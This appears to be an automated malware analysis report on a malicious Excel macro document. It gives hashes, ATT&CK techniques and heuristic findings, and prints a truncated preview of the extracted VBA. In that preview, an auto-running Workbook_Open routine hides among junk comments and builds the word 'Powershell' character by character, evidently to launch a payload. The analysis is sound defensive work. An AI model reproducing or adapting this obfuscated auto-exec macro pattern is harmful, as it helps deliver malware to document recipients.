Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 5115b61255546bf8…

MALICIOUS

Office (OOXML)

17.8 KB Created: 2021-10-12 09:30:25 UTC Authoring application: Microsoft Excel 15.0300 First seen: 2021-11-25
MD5: f4ea7a9daa7defa4e9e3c54301f31973 SHA-1: 5b9c94b55944d98483b6f79e0886baf344f579d4 SHA-256: 5115b61255546bf812e84d215a21c0257897397669df2dab882bfb29161e698d
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an OOXML file containing a Workbook_Open VBA macro. This macro is designed to execute a PowerShell command, likely to download and run a second-stage payload. The VBA code constructs the string 'powershell.exe' for execution, indicating a command and script interpreter technique.

Heuristics 5

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 7576 bytes
SHA-256: a7b959c0d2dfb396332f50b2129bcf095cec78e8b3fc83e80feacf118f4b2b07
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
'FLyoptaDuWNWsCMcSunvkdLyUOZNGhDLNOtvXcDQybcnFIMfyedMKJEBZZzBtoWhyckHeBfPODThbsTvbUnCd

'Copy the defined range
'Set focus on the target bookmark
'Delete the old table and paste new
On Error Resume Next
WdRange.Tables(1).Delete
WdRange.Paste 'paste in the table
'Adjust column widths

'Reinsert the bookmark
wdDoc.Bookmarks.Add "DataTableHere", WdRange
'Memory cleanup
'MsgBox ("NaTRTTCdkK   SItEV")
'HSwfKnIXPAiYSwErDYEtDTfXa
'eWesZQbJESHUTCAQszZdfXEnFKKenBTMLtZwOkLAoIhRCnzwPGUSnCuitQRnhWncZUpCCpci
Dim pZYKnkRA, CVcnsh
'BLaubPyRoo
ZzuieOKrfG = "P"
'EREMipKHTyZXsHZGtuERfEzRQNCPYcVcezUWLwyuXBCOQyTJMXeppOHayMVzMUIQDXS  YhSSRpOfSTfeFAvTRMtAtdkviftI
CXCaRrHWAt = "o"
'HorSzLZu  EREMipKHTyZXsHZGtuERfEzRQNCPYcVcezUWLwyuXBCOQyTJMXeppOHayMVzMUIQDXS
YB = "w"
'VsaJSIuBHpiwthfTnpIQZoRXn tMH
stfWBRYyO = "e"
'VsaJSIuBHpiwthfTnpIQZoRXn tMH
UWVZTyBZdBC = "r"
'tYuhWA XEbNhFOABvNOLorFHVBXFbMFpwAHcHPfcninNKtBcQSUVBZzYsbVpAVWSCDVfhtUCIMshaSXEZVPpSKNvbJLF
fUFMe = "s"
'FLyoptaDuWNWsCMcSunvkdLyUOZNGhDLNOtvXcDQybcnFIMfyedMKJEBZZzBtoWhyckHeBfPODThbsTvbUnCd XEbNhFOABvNOLorFHVBXFbMFpwAHcHPfcninNKtBcQSUVBZzYsbVpAVWSCDVfhtUCIMshaSXEZVPpSKNvbJLF
WYRXLOr = "h"
'YhSSRpOfSTfeFAvTRMtAtdkviftI HorSzLZu
ASeyyAVzSJY = "e"
'HorSzLZu XEbNhFOABvNOLorFHVBXFbMFpwAHcHPfcninNKtBcQSUVBZzYsbVpAVWSCDVfhtUCIMshaSXEZVPpSKNvbJLF
KQNYH = "l"
'MhPJdLrMpIPowsGtcpbtGOyOwQIQeZKrBMFpJihYTiNdHKOFTXCNfoaXNazucEHpXASERtNUdcDybriFccWhD tMH
fVt = "l"
'oocRDopwzG
'EREMipKHTyZXsHZGtuERfEzRQNCPYcVcezUWLwyuXBCOQyTJMXeppOHayMVzMUIQDXS  HorSzLZu
'ikphecbnVhtVUITPLzyJZbfTNuPktsYnpeQoiMsQPbwKXcwESBSDWnafcrzSoTWFkcL  JL
'VsaJSIuBHpiwthfTnpIQZoRXn tMH
With Selection
.ClearContents
.Borders(xlDiagonalDown).LineStyle = xlNone
.Borders(xlDiagonalUp).LineStyle = xlNone
.Borders(xlEdgeLeft).LineStyle = xlNone
.Borders(xlEdgeTop).LineStyle = xlNone
.Borders(xlEdgeBottom).LineStyle = xlNone
.Borders(xlEdgeRight).LineStyle = xlNone
.Borders(xlInsideVertical).LineStyle = xlNone
.Borders(xlInsideHorizontal).LineStyle = xlNone
.Interior.ColorIndex = xlNone
End With
With Application.FileSearch
.NewSearch
'Change path to suit
.LookIn = "/Users/lcw/Desktop/excel"
.FileType = msoFileTypeExcelWorkbooks
If .Execute > 0 Then
For lCount = 1 To .FoundFiles.Count
Set wbResults = Workbooks.Open(Filename:=.FoundFiles(lCount), UpdateLinks:=0)
Sheets("US").Select
Rows("1:1").Select
Selection.Delete Shift:=xlUp
wbResults.Close SaveChanges:=True
Next lCount
End If
End With
Application.ScreenUpdating = True
Application.DisplayAlerts = True
Application.EnableEvents = True
'JL  tYuhWA
'  FLyoptaDuWNWsCMcSunvkdLyUOZNGhDLNOtvXcDQybcnFIMfyedMKJEBZZzBtoWhyckHeBfPODThbsTvbUnCd
'YhSSRpOfSTfeFAvTRMtAtdkviftI  cXzwtkuQETVWSVUOivPtZpWNptQhQyJLhkAETtwtzUUPJOSfucZuMSwTbLaatfZhppPJArV
' KonWHDIQM
'kLLBfGiTpuP
'sIMEDN
'EFOGVT
'cXzwtkuQETVWSVUOivPtZpWNptQhQyJLhkAETtwtzUUPJOSfucZuMSwTbLaatfZhppPJArV
Dim SItEV As Long
'MsgBox Prompt:="HorSzLZu?", _
Buttons:=tYuhWA , _
Title:="KonWHDIQM   "
'MhPJdLrMpIPowsGtcpbtGOyOwQIQeZKrBMFpJihYTiNdHKOFTXCNfoaXNazucEHpXASERtNUdcDybriFccWhD
'   YhSSRpOfSTfeFAvTRMtAtdkviftI
Dim r As Long, x As Long
For x = 2 To r Step 1
If Range("C" & r).Value = Range("C" & r).Offset(-1).Value Then
Range("C" & r).Offset(-1).EntireRow.Delete
End If
r = r - 1
Next x
'erSNco
'JL  MhPJdLrMpIPowsGtcpbtGOyOwQIQeZKrBMFpJihYTiNdHKOFTXCNfoaXNazucEHpXASERtNUdcDybriFccWhD
'erSNco
'JL   HorSzLZu
'XEbNhFOABvNOLorFHVBXFbMFpwAHcHPfcninNKtBcQSUVBZzYsbVpAVWSCDVfhtUCIMshaSXEZVPpSKNvbJLF   tYuhWA
'YhSSRpOfSTfeFAvTRMtAtdkviftI  FLyoptaDuWNWsCMcSunvkdLyUOZNGhDLNOtvXcDQybcnFIMfyedMKJEBZZzBtoWhyckHeBfPODThbsTvbUnCd
'JL  MhPJdLrMpIPowsGtcpbtGOyOwQIQeZKrBMFpJihYTiNdHKOFTXCNfoaXNazucEHpXASERtNUdcDybriFccWhD
CVcnsh = ZzuieOK
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 23552 bytes
SHA-256: 75fa17a82079caea3ecd8953fb3b514ea96f02fc35175201beea9bc267bbd695
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

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